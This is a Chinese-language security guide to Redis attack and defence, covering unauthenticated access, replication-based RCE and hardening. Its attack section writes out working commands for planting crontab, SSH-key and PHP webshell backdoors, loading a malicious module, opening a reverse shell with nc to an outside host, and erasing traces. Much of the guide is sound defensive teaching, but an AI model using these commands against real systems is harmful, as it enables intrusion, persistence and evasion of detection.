Redis安全攻防实战:从未授权访问到RCE的完整防护指南 先说个我自己的经历。有次接手一个外包项目的运维客户报障说服务器CPU飙到100%登录一看Redis进程占满了一个核redis-cli敲进去发现被人写了十几个叫system的key全是定时任务的配置。很明显6379端口裸奔在公网上连密码都没设。那台机器后来排查发现被种了挖矿木马还好发现得早没扩散到内网。从那以后我对Redis安全的关注度就彻底不一样了。Redis是现在互联网应用里几乎绕不开的组件缓存、分布式锁、排行榜、消息队列、Session共享哪哪都有它。但正是因为太常用、太“默认可信”它的漏洞杀伤力往往被严重低估。很多人觉得Redis就是个内存数据库即便被攻破也不过是丢点数据实际上一旦被拿下攻击者可以从“未授权访问”一步步打到服务器命令执行甚至拿到整个内网的跳板。今天这篇文章我就以从业者的视角从常见的漏洞类型、攻击利用链、修复方案到日常排查经验一次性把Redis的安全问题讲透。不管你是开发、运维、安全工程师还是刚入门的安全爱好者都可以在文章里找到可以直接落地的思路和操作。1. 先搞清楚Redis到底存在哪些典型漏洞1.1 未授权访问最经典也最常见的入口未授权访问是Redis所有安全问题里最“出名”的一个也是绝大多数攻击路径的起点。它的成因并不复杂Redis默认监听在所有网卡上0.0.0.0:6379或者云服务器公网直接暴露了6379端口同时protected-mode被关闭或配置不当也没有设置requirepass密码导致任何人都可以直接用客户端连上去执行命令。很多人在本地开发时为了方便会直接把bind注释掉、protected-mode改成no然后部署到生产环境的时候也没改回来这种配置到了云端基本等同于裸奔。攻击者拿到一个公网IP后只需要一条命令redis-cli -h 1.2.3.4 -p 6379连上去之后如果能看到redis的提示符那就意味着整台Redis已经拱手让人了。接下来攻击者可以做的事情非常多读取/删除所有缓存数据、通过CONFIG SET修改运行配置、利用Redis自身功能写文件到服务器磁盘甚至进一步实现远程命令执行也就是大家常说的Getshell。这里多说一句protected-mode这个机制其实是一道兜底防线。如果Redis没有设置密码并且没有显式配置bind它只允许本机回环地址连接这能在一定程度上挡住外部的直接访问。但如果你在配置里显式写了bind 0.0.0.0或者云安全组的端口全开这个保护机制就会失效。1.2 主从复制RCE从“读数据”到“执行命令”的关键跳跃未授权访问本身能偷数据、能删库但危害更大的其实是通过主从复制功能实现远程命令执行。这个攻击主要影响Redis 4.x和部分5.x版本原理涉及Redis的MODULE命令。Redis从4.0开始支持动态加载模块模块本质上是一个.so文件加载后可以扩展Redis的命令集。攻击流程大概是这样攻击者先在公网准备一台“恶意Redis服务器”里面放置一个编译好的恶意模块通常叫exp.so然后让目标Redis通过SLAVEOF指向攻击者的服务器使其成为自己的主库触发全量复制把恶意so文件同步到目标Redis的磁盘上同步完成后攻击者用MODULE LOAD把这个恶意so加载进Redis就会注入一个自己的扩展命令比如system.exec直接执行系统命令。整个链路跑通之后Redis就成了一台攻击者可控的“命令执行器”后续的提权、内网渗透、持久化就都是常规操作了。这个漏洞的危险程度在于它只需要目标Redis能访问外网不需要任何认证且复现难度不算高所以在野利用非常频繁。重要说明以上所有攻击分析仅用于安全研究、漏洞复现学习和企业授权的渗透测试场景。未获得授权对他人系统进行测试是违法行为务必牢记底线。1.3 命令注入与业务层攻击不止是“没设密码”那么简单除了未授权Redis在业务使用过程中的安全问题也很值得关注。常见的有这么几类第一类是SSRF打Redis。很多Web应用有URL转发、图片抓取、Callback回调这类功能如果后台没有校验目标地址攻击者就能让服务端去请求内网的Redis端口并拼接Redis协议*1\r\n$7\r\nCOMMAND\r\n这种RESP格式的数据来实现命令注入。这类攻击不需要Redis直接暴露在公网只要有内网可达加上一个SSRF入口就够了隐蔽性很强。第二类是Lua脚本和EVAL命令滥用。Redis的Lua执行环境虽然做了沙箱隔离但在某些老版本中存在绕过手法可以借助Lua调用Redis命令做遍历、批量删除等危险操作。即使没有RCE攻击者在未授权的情况下也可以用EVAL写一段遍历所有key的脚本把敏感数据全部dump走。第三类是序列化数据反序列化漏洞。很多项目习惯用Java的原生序列化、PHP的serialize()、Python的pickle把对象直接塞进Redis做缓存。攻击者如果能未授权写入key就可以构造一个恶意的序列化对象当应用从缓存取出并反序列化时触发远程代码执行。这类漏洞在热词里提到的“Redis序列化”就是指这个实际攻击里经常和Fastjson、PHP反序列化这类漏洞打组合拳。1.4 分布式锁和缓存一致性问题安全不只是“被入侵”这一件事Redis分布式锁是现在面试题里的高频考点但它的安全风险经常被忽略。如果在多实例环境下用普通SETNX加锁后会遇到锁失效、误删别人的锁、加锁和设置过期时间不原子等问题。如果一个本该互斥的临界资源因为锁失效被并发执行轻则数据错乱重则引发业务事故本质上也是个“逻辑漏洞”。类似的还有缓存穿透、缓存击穿、缓存雪崩这些虽然不算传统意义上的漏洞但在业务层面造成的可用性问题同样可能被攻击者利用来拖垮服务。所以从我这个运维的视角看Redis安全不光是漏洞本身还包括使用方式是否健壮。2. 攻防视角下的关键环节我用一个授权靶机走通全流程2.1 从“发现资产”到“连上去看一眼”信息收集的实战步骤我不是要手把手教大家去打公网机器这个动作一定要在授权范围内做比如自己搭的靶机、内网渗透练习环境或者是SRC平台授权的测试目标。一次完整的Redis安全检测第一步永远是信息收集。最常见的方式就是用扫描工具去识别公网资产里开放了6379端口的主机。nmap的一条命令就能搞定端口探测nmap -sS -p 6379 --open -T4 -n 1.2.3.0/24也可以配合指纹识别确认目标是不是真的Redis常用的有nmap -sV -p 6379 1.2.3.4 redis-cli -h 1.2.3.4 -p 6379 ping如果ping返回PONG基本可以确定是Redis服务。这时候我习惯先跑一下INFO命令看一眼运行状态很多未授权访问的目标会直接返回server信息、版本号、内存占用、客户端连接数这些敏感数据。拿到版本号非常重要因为后续能不能用主从复制RCE很大程度取决于版本是否小于Redis 5.x。2.2 未授权访问验证一条命令确认“裸奔”状态验证是否存在未授权访问其实就一步redis-cli -h 1.2.3.4 -p 6379如果直接进入交互式命令行且没有NOAUTH Authentication required的提示那么这台Redis就已经是未授权状态了。接下来常用的验证命令有redis CONFIG GET bind redis CONFIG GET protected-mode redis CONFIG GET requirepass redis ACL LIST这里有几个细节值得注意。有些目标虽然能连上但设置了protected-mode或者是绑定了内网IP那么从外网就访问不到。如果你是从内网某台被控主机上发起检测即使protected-mode是yes由于源IP是回环地址/内网地址依然有可能直接连上。所以未授权访问的判定要结合网络位置来看不能只看“能不能连上”这一个维度。2.3 三类经典利用方式的实操记录与适用条件在所有授权测试里我跑得最多的就是这三条路写定时任务、写SSH公钥、写WebShell。它们本质上都利用了Redis的持久化能力——通过CONFIG SET指定RDB或AOF文件的保存路径往磁盘里写文件。方式一写crontab计划任务前提是目标机器的Redis以root身份运行。原理是把一个可控的crontab配置写入/var/spool/cron/下让系统周期性执行攻击者指定的命令。操作上就是先设置RDB文件保存路径redis-cli -h 1.2.3.4 CONFIG SET dir /var/spool/cron/ CONFIG SET dbfilename root SET x \n* * * * * bash /tmp/evil.sh\n SAVE这样目标机器的/var/spool/cron/root文件里就写入了一条每分钟执行的计划任务。这种做法有不少利用限制cron文件格式解析比较严格前后需要留空行不同的Linux发行版对cron目录的支持不太一样Debian系通常是/var/spool/cron/crontabs/而且如果Redis不是root启动就没有写该目录的权限。方式二写SSH公钥这种方法要求目标机器的Redis有权限修改root用户或者当前Redis运行用户的.ssh目录。步骤如下攻击者本地生成一对key然后在Redis里把公钥内容作为key写入再通过CONFIG SET把RDB的保存路径指到/root/.ssh/文件名改成authorized_keys触发SAVEssh-keygen -t rsa -C redis-testoffsec (set -e; echo; cat ~/.ssh/id_rsa.pub; echo) | redis-cli -h 1.2.3.4 -x set pub_key redis-cli -h 1.2.3.4 CONFIG SET dir /root/.ssh/ CONFIG SET dbfilename authorized_keys SAVE之后攻击者直接用对应的私钥ssh root1.2.3.4就能免密登录。这个方法最大的限制就是Redis的运行用户权限如果是nobody或者redis用户很可能写不进root的.ssh目录。方式三写WebShell思路和上面一样把PHP/JSP/ASPX一句话木马内容写入Web目录比如CONFIG SET dir /var/www/html/ CONFIG SET dbfilename shell.php SET x ?php eval($_POST[cmd]);? SAVE这个方法听着很简单但实际操作里非常依赖目标环境得知道Web服务的绝对路径、需要文件写入目录的写权限、数据库文件本身带有二进制头部RDB文件头可能导致WebShell解析失败。有意思的是PHP对文件内容比较宽容即使前面有二进制垃圾数据只要?php在文件任意位置出现解析器依然能找到并执行。很多老牌CMS就是这么被打下来的。2.4 主从复制RCE利用流程Redis 4.x/5.x的高危通杀如果目标Redis版本在4.x到5.x之间且允许SLAVEOF和MODULE命令那就有机会实现真正意义上的命令执行。整个流程分四步。第一步攻击者在自己的服务器上运行一个恶意Redis实例放置编译好的恶意模块。常见的工具是redis-rogue-server或redis-rce也可以手动操作。第二步让目标Redis指向攻击者服务器redis-cli -h 1.2.3.4 SLAVEOF 5.6.7.8 6379 CONFIG SET dir /tmp/ CONFIG SET dbfilename evil.so第三步全量复制完成后目标Redis的/tmp/evil.so就存在了加载模块MODULE LOAD /tmp/evil.so加载成功后会注册一个扩展命令常见命名如system.exec、pwn等。这时候攻击者就可以通过这个命令执行任意系统命令比如redis-cli -h 1.2.3.4 system.exec id system.exec whoami system.exec nc -e /bin/bash 5.6.7.8 9999最后一步是去“收尾”执行MODULE UNLOAD卸载模块、恢复主从状态SLAVEOF NO ONE、清理临时文件和命令历史避免被运维发现入侵痕迹。我实际操作过几回发现这个利用链的成败有几个关键点一是目标Redis的外网访问权限以及是否开启了SLAVEOF和MODULE相关命令二是目标机器会主动反向连接攻击者的Redis端口所以防火墙出方向要放行三是目标Redis版本如果高于5.0.5、且开启了ACL控制命令可能被禁掉这条链就断掉了。3. 修复比攻击更值得下功夫Redis安全加固的完整方案3.1 网络暴露面收敛先让Redis“不见光”我接手过不少项目的加固工作说实话最多的问题集中在“不该暴露的服务暴露了”。Redis默认端口6379如果业务需要本地访问就一定要把它藏在回环地址后面。最直接的配置就是修改redis.conf里的bind项# 只监听本机回环地址 bind 127.0.0.1 # 或者仅监听内网网卡 bind 10.0.0.8 protected-mode yes如果业务场景确实需要跨机访问那也应该通过内网专线、VPC安全组等手段控制来源而不是直接把6379暴露到公网。云服务器用户特别注意控制台安全组的入方向规则不要图省事写0.0.0.0/0哪怕是只放行某个端口的TCP也要尽量精确到源IP段。这个习惯能从源头挡住绝大多数恶意扫描。Docker部署Redis的坑我也提一下很多人喜欢用docker run -p 6379:6379 redis这种写法等于把容器的6379直接映射到了宿主机所有网卡上配合默认配置基本上就公开了。正确的做法是至少绑定到指定IPdocker run -d --name redis \ -p 127.0.0.1:6379:6379 \ --restartalways \ redis:6.2 redis-server /etc/redis/redis.conf还可以通过自定义网络隔离容器比如只有应用容器能连通Redis容器外部网络根本摸不到。3.2 身份认证与命令权限收敛别把钥匙挂门口认证这块很多人觉得设置一个requirepass就够了其实这只是最基础的一步。requirepass在redis.conf里的配置很简单requirepass your-strong-password # 长度不低于16位包含大小写字母、数字和特殊字符但从安全角度我更推荐用Redis 6.0之后的ACL功能做精细化的权限管理。ACL不仅能设置密码还能限制用户可以执行哪些命令、访问哪些key。比如给业务方一个只读且只能操作特定前缀key的账号ACL SETUSER appuser on app-pass-2024 \ ~cache:* ~session:* \ read get set expire这样即使某个业务的凭据泄露了攻击者的破坏范围也被限制在指定前缀和读操作里不至于拿着一个通用redis密码把所有库都翻了。高风险命令的收敛也不能省。像CONFIG、SLAVEOF、MODULE、DEBUG、EVAL、KEYS、FLUSHALL、FLUSHDB这些命令要么是能改运行配置的要么是能加载模块执行命令的要么是能批量拉数据/删数据的在生产环境里没几个业务场景真的需要。可以通过rename-command把它们改成一个随机字符串相当于禁用rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52 rename-command SLAVEOF rename-command MODULE rename-command EVAL 注意改命令名可能会影响监控脚本、ORM客户端的一些内部操作所以上线前一定要在测试环境跑一遍兼容性验证。3.3 数据与应用层防御从使用习惯上减少风险除了服务本身的安全配置业务代码里对Redis的使用习惯同样决定安全水位。先说序列化数据的问题。很多框架默认把对象序列化后直接塞进Redis比如Java的JDK序列化、PHP的serialize()这会让Redis里存着一堆二进制对象。如果Redis被未授权访问攻击者可以精心构造一个恶意对象塞进去应用一取出来反序列化就中招。我的建议是生产环境尽量改用JSON、MessagePack这类跨语言的文本或轻量格式存储如果确实需要对象缓存至少用加密签名或HMAC校验避免被篡改对缓存对象的类定义要保持稳定避免反序列化时因为类结构变化触发异常逻辑。再说分布式锁。要加锁就用原子命令别再用“先SETNX再EXPIRE”这种两步操作那中间一旦进程崩溃锁就永远不释放了。Redis官方推荐的加锁方式是单条命令搞定SET lock_key unique_value NX PX 30000释放锁时要校验value是自己的用Lua脚本保证原子性if redis.call(get, KEYS[1]) ARGV[1] then return redis.call(del, KEYS[1]) else return 0 end如果是多节点高可用场景Redisson的看门狗机制和Redlock方案都是更稳妥的选择。这些细节能防止很多因为锁失效导致的线上数据一致性问题这也是为什么Redis面试题里总爱问分布式锁。3.4 监控与审计出了事能及时发现、能溯回源头安全加固里最容易忽略的一环是“看得见”。很多Redis被入侵后运维人员隔了好几天才发现异常就是因为没有日志监控和基线核查。Redis可以开启慢查询日志把超过阈值的命令记录下来CONFIG SET slowlog-log-slower-than 10000 CONFIG SET slowlog-max-len 128配合SLOWLOG GET可以查看哪些命令耗时过高这在被恶意注入大量KEYS *遍历时尤其有用。日志方面Linux下Redis默认写到stdout如果使用systemd管理日志会进journald可以通过journalctl -u redis查看。建议把Redis的运行日志单独落盘并设置日志轮转避免审计时发现日志早就被覆盖了。周期性安全检查也很重要。我自己习惯用脚本定期跑一遍基线核查项比如是否监听在公网地址上是否允许空密码登录是否禁用了CONFIG/MODULE等高危命令Redis进程运行用户是否为非root最近有没有异常来源IP的连接市面上也有很多现成的“漏洞扫描工具”和基线检查工具像Nessus、OpenVAS、绿盟远程评估系统这些都能对Redis配置做合规检查。不过工具输出的结果只能当参考真正要落实的还得是自己的运维规范。4. 问题排查实录Redis安全路上的常见坑4.1 高危问题自查一张表看清风险等级下面这份自查清单是我在运维和应急响应中经常对照使用的大家也可以保存下来每次部署完Redis或定期巡检时逐项核对检查项危险配置安全配置风险等级监听地址0.0.0.0:6379或外网网卡127.0.0.1或内网IP高危密码认证无requirepass或默认口令强密码16位以上随机高危保护模式protected-mode noprotected-mode yes高危高危命令CONFIG/SLAVEOF/MODULE可执行改名或禁用高危运行用户root专用redis用户高危ACL精细权限所有客户端共用超级权限按业务分账号授权中危key过期策略无过期时间无限膨胀设置合理TTL中危备份策略无RDB/AOF备份开启AOF且定期测试恢复中危慢查询监控未开启开启慢日志并告警低危4.2 修复过程中经常踩的坑第一坑改rename-command后业务直接报错。有一次我在一个老项目上禁用了KEYS命令结果公司的缓存清理脚本全员躺平。Redis客户端库的很多API内部会调用KEYS来匹配模式禁用前一定要用MONITOR观察一段时间生产流量里命令的使用情况再做收敛。第二坑设置了requirepass但没改客户端连接配置。Redis挂了密码后老项目的配置中心里可能还有个硬编码的连接串等重启Redis后一片报错。建议改认证前先通过配置中心或者环境变量统一下发新密码并确保所有节点同步完成再切换。第三坑Docker容器内的Redis配置了bind 127.0.0.1但容器外部通过端口映射访问不了。这个问题我碰到过好几回容器的回环地址是容器自身的外部访问要监听0.0.0.0并通过映射端口控制访问链路而不是在容器内绑127.0.0.1。反过来直接把容器端口映射到公网更是大忌。第四坑老版本升级到6.x之后ACL配置和旧密码认证格式不兼容。Redis 6开始推荐用user配置段而不是纯requirepass默认的default用户密码设置方式有变化升级时容易有的节点能连、有的节点连不上排查起来很费劲。4.3 ACME那些事聊聊接触到的SRC日常和“漏洞赏金”热词里提到了“挖漏洞的平台赚赏金”和“ai自动化挖漏洞脚本”我简单说两句。正规的路径是在各SRC平台企业漏洞响应中心提交漏洞平台会评估影响范围给奖金前提是测试过程必须严格遵守平台规则很多企业划定的测试范围只是旗下的部分域名测试手段也有限制比如不允许高并发、不允许破坏数据、不允许拖库。Redis漏洞确实是在SRC平台上比较吃香的类型因为影响面大、利用难度相对低且很多老业务上都有。但我不建议新手一上来就迷信所谓“AI自动挖洞脚本”。我在实际测试中体验过一些自动化工具它们确实能做端口扫描、指纹识别、批量执行POC这些工作但真正的漏洞挖掘尤其是Redis这类需要结合业务场景分析的漏洞自动化脚本的误报率和局限性相当高。自动化的价值在于帮你做信息收集和重复性验证而不是替你思考攻击链。打个比方脚本能帮你发现一百台Redis有未授权访问但哪台能继续写WebShell、哪台能利用主从复制RCE、哪台只是内网缓存节点还是得人来判断。AI和脚本是放大器不是替代者安全这个领域最值钱的永远是分析能力。关于“bug bounty平台”的入门我建议从自己公司的资产做起或者在一些学习型靶场比如Vulhub、Pikachu这些开源漏洞靶场里把Redis漏洞的复现流程走一遍等熟悉了利用条件和判定标准再考虑去合规的SRC平台测试。5. 写在最后一点点个人体会Redis安全做久了我有一个很强烈的感受很多高危漏洞的根因不是技术复杂而是“默认配置”和“习惯性信任”。默认监听所有网卡、默认不需要密码、默认允许所有命令这些设计在追求极致性能和易用性的同时把安全责任移交给了使用者。而使用者往往到出了问题才会回头看配置。从我个人的运维经验来看Redis安全投入产出比最高的三件事是绑定内网IP、设置强密码、禁掉用不到的高危命令。这三件事哪怕只做到前两件公网上的扫描器基本就拿你没办法了。如果业务允许再加上非root用户运行和ACL权限收敛整个安全水位会高一大截。另外别迷信“我们Redis在内网外面访问不到”这种话。内网横向移动、Web应用SSRF、容器网络配置错误都是绕过这层假设的常见路径。安全建设有个原则叫纵深防御——每加一层防护攻击者就多一道坎。Redis这块不需要做什么花哨的东西把基础配置夯实、把权限收敛做细、把监控日志留好就已经超过大多数团队了。最后分享一个小习惯每次部署完Redis我都会用一条命令做快速验证确认没有裸奔redis-cli -h IP -p 6379 info | grep -E connected_clients|role|redis_version如果能免密拿到redis_version说明认证没生效或者ACL配置有问题赶紧回头检查。这个习惯帮我挡掉过不止一次线上事故也分享给看到的你。